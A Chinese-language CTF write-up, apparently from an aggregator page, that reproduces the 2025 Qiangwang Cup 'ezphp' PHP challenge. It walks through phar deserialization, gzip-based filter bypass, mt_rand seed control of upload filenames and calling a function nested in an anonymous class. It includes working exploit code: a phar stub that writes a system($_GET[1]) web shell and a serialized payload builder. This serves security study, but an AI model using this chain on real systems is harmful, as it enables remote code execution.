当前位置: 首页 > news >正文

2025强网杯ezphp复现

ezphp

终于,终于,终于肝出来了,其实肝了一天之后就基本全部出来了,一开始调用在匿名类中的全局函数的这一步卡了很久,于是先跳过这一步,对其他步骤先进行分析复现,到后来就差这最后一步被卡死了,百思不得其解,后来注意到星盟大佬的wp中提到image-20251027154356777

我也意识到可能是我的环境的问题所在,然后开始尝试自己搭建docker,在docker搭建.

唠叨到这里,下面是正式整理我的复现


对于ezphp这题,在比赛的时候只注意到调用匿名类中的全局函数这一考点,但是没想到,还有其他几个考点,我的复现就以考点开始进行

phar反序列化

借用大佬的解释

Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

1、Stub //Phar文件头
2、manifest //压缩文件信息
3、contents //压缩文件内容
4、signature //签名

Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下

xxx<?php xxx; __HALT_COMPILER();?>

前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。

manifest用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数

2、要有可利用的魔术方法
//这个的话用一位大师傅的话说就是利用魔术方法作为"跳板"

3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是Phar://这种,如果这几个特殊字符被过滤就无法实现反序列化

4、php.ini中的phar.readonly选项,需要为Off(默认是on)。

生成phar文件

<?php 
class test{public $name="zxc";function __destruct(){echo $this->name;}
}
$a = new test();
$a->name="phpinfo();";$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("zxc.txt","z3xc");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

image

就会有phartest.phar

而后有

<?php
class test{public $name="";public function __destruct(){eval($this->name);}
}
$phardemo = file_get_contents('phar://phartest.phar/zxc.txt');
echo $phardemo;

image

这就反序列化成功

关于绕过,这里就提到通过压缩绕过关键字的检查

┌──(zxc㉿kali)-[/xp/www/192.168.58.128/phar]
└─$ gzip phartest.phar phartest.phar.gz 

image

就没有__HALT_COMPILER();字样了

之后再进行像这样的包含file_get_contents('phar://phartest.phar.gz/phartest.phar/zxc.txt');

就能成功

可是ezphp中对文件名是使用随机字符进行的命名,也就是说没办法用phar伪协议去读取phar文件,也就没法反序列化,这就要提到一个新的知识点

大佬文章:include_phar

这里解释了关键所在,我就直接讲一下,就是哪怕不用phar伪协议,只要能够名称中,甚至是包含的路径中存在phar字样就能够去反序列化

接下来就是随机数的问题

通过控制随机数的种子从而控制随机数的序列

星盟大佬的wp

关键点就是题目中的rand()和mt_rand()

自php7.1.0起,rand()和mt_rand()使用相同的随机数生成器

<?php
$seed = 123456;
mt_srand($seed); // 设置种子echo "mt_rand sequence: ";
for ($i=0; $i<5; $i++) {echo mt_rand(0, 9) . ' ';
}
echo '<br />';echo "rand sequence: ";
for ($i=0; $i<5; $i++) {echo rand(0, 9) . ' ';
}
?>

无论去运行几次,都是固定这个数

image-20251027164637665

也就能试出假设7 9 7 7 4 对应➡️ phar,而 5 4 0 3 8 就是对应着 ➡️7 9 7 7 4

就能实现文件名可控

调用在匿名类中的全局函数

我们先回忆一下代码是什么样的

一个生成随机字符的函数

然后是一个test类

test类

三个属性

f

key

readflag

有一个__construct()方法

​ __construct()方法中给readflag属性赋予了匿名类

有一个__destruct()方法

            public function readflag() {function readflag() {if (isset($GLOBALS['file'])) {$file = basename($GLOBALS['file']);if (preg_match('/:\/\//', $file)) die("error");$file_content = file_get_contents("uploads/" . $file);if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {die("Illegal content detected in the file.");}include("uploads/" . $file);}}}

我们先要去生成一个对象,让readflag存在,使得全局readflag()函数存在,才能调用全局readflag()函数

也就是说我们得先反序列化一个test,去new $func,使得全局readflag()函数存在,

然后在$func,调用全局readflag()函数,去包含我们构造还得phar包

那怎么去调用呢

<?=eval(base64_decode('Y2xhc3MgdGVzdAp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIGVjaG8gJ2J1aWxkIGFueW1vdXMgY2xhc3MnLCBQSFBfRU9MOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWFkZmxhZygpCiAgICB7CiAgICAgICAgZnVuY3Rpb24gcmVhZGZsYWcyKCkKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gJ2ZsYWd7eHh4fScsIFBIUF9FT0w7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgICRmdW5jID0gJF9HRVRbJ2Z1bmMnXSA9PT0gbnVsbCA/ICdwaHBpbmZvJyA6ICRfR0VUWydmdW5jJ107CiAgICAgICAgJGZ1bmMoKTsKICAgIH0KfQpuZXcgdGVzdCgpOw=='));
// 等效为
class test
{public function __construct(){echo 'build anymous class', PHP_EOL;}public function readflag(){function readflag2(){echo 'flag{xxx}', PHP_EOL;}}public function __destruct(){$func = $_GET['func'] === null ? 'phpinfo' : $_GET['func'];$func();}
}
new test();

image-20251027150847060


正式开始复现

生成phar包

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();$stub = <<<'STUB'
<?phpecho 'zxc', PHP_EOL;//直观的看到到底有没有成功system('echo "<?php system(\$_GET[1]); ?>" > zxc.php');__HALT_COMPILER();
?>
STUB;$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();?>

进行压缩gzip exploit.phar

借用星盟大佬的exp

<?php
function generateRandomString($length = 8)
{$characters = 'abcdefghijklmnopqrstuvwxyz';$randomString = '';for ($i = 0; $i < $length; $i++) {$r = rand(0, strlen($characters) - 1);$randomString .= $characters[$r];}return $randomString;
}
date_default_timezone_set('Asia/Shanghai');class test
{public $readflag;public $f;public $key;
}$readflag=1;
while (true){$time = date('Hi');$seed = $time . intval($readflag);mt_srand($seed);$str = generateRandomString(8);if(substr($str, 0, 4) === 'phar'){echo $readflag, PHP_EOL.'<br />';echo $str, PHP_EOL.'<br />';echo $seed, PHP_EOL.'<br />';break;}else{$readflag++;}
}$test = new test();
$test->readflag = $readflag;
$test->key = 'class';
$test->f = 'test';$test2 = new test();
$test2->readflag = $readflag;
$test2->key = 'func';
$test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1");$exp=serialize(array($test, $test2));
echo $exp, PHP_EOL.'<br />';
?>
<!DOCTYPE html>
<html>
<head><title>File Upload</title>
</head>
<body>
<h2>Upload File</h2>
<form action='https://127.0.0.1:8080/index.php?land=<?php echo urlencode($exp);?>' method="post" enctype="multipart/form-data"><input type="file" name="file" required><input type="submit" value="Upload">
</form>
</body>
</html>

image-20251027153405570

image-20251027153416240

image-20251027153504026

http://www.hn-smt.com/news/280/

相关文章:

  • 漏洞报告被拒绝的常见原因及避免方法
  • 【IEEE出版 | 重庆邮电大学主办 | 多届次、高层次】第六届人工智能与计算机工程国际学术会议(ICAICE 2025)
  • Docker容器里面部署的Jenkins的Java17升级到21版本(无需删除之前容器,内部在线升级) - 攻城狮
  • 报表知识
  • 渐进过程中大O与小o混用
  • 消息队列的有序性
  • 【LTDC】DMA2D —— 嵌入式系统的 GPU
  • unity管理器设计:Manager of Managers
  • iview table 排序 columns 里面写 sortable: custom 不要写 sortable: true 不然会进行二次内部排序序号等 字段。
  • 本地运行nginx服务,模拟线上环境访问项目
  • git提交远程项目步骤
  • 2025 年搅拌器搅拌设备,侧入式搅拌设备,斜插式揽拌设备,卧式搅拌设备厂家最新推荐,聚焦资质、案例、售后的五家企业深度解读
  • 2025 年环保搅拌设备,搅拌装置设备,框式搅拌设备厂家最新推荐,实力品牌深度解析采购无忧之选!
  • CorelDRAW的shell扩展ShellXP.dll导致资源管理器explorer.exe卡死/冻结/无响应/挂起
  • 2025 年定制矿车,大型矿车,固定式矿车厂家最新推荐,产能、专利、环保三维数据透视
  • 醒图电脑版下载与安装教程(2025最新版)
  • 2025 年江苏电缆附件,热缩电缆附件,冷缩电缆附件,预制电缆附件厂家最新推荐,产能、专利、环保三维数据透视
  • Android Studio 使用glibc2.28的版本
  • 2025年10月兰花油品牌推荐榜:五款精华油深度对比与选购指南
  • 2025年浅拾兰花双萃致臻精华油:从成分与技术维度解析其护肤功效
  • 2025 年进口螺杆泵,萨伯特螺杆泵,污泥螺杆泵厂家最新推荐,实力品牌深度解析采购无忧之选!
  • 为什么 AI 模型的最小理解单位是「特征」?
  • 2025年移动车载变电站厂家最新推荐榜:陕西四方华能凭硬实力成优选
  • XiaoQuQu 的 2025 CSP-S 第二轮模拟 ROUND2
  • 2025年硬密封闸阀厂家权威推荐榜单:手动闸阀/明杆闸阀/法兰闸阀源头厂家精选
  • 深入解析:ArcGIS Manager Server Add Host页面报错 HTTP Status 500
  • 2025修护洗/二硫化硒去屑/香氛/控油蓬松/洗发水品牌推荐:MASIL玛丝兰引领功效细分赛道,哪个牌子好?看实测口碑榜
  • AOP面向切面编程思想
  • 如何找到心仪的 ChatBI 智能体?Aloudata Agent 推荐给你
  • 10月第二篇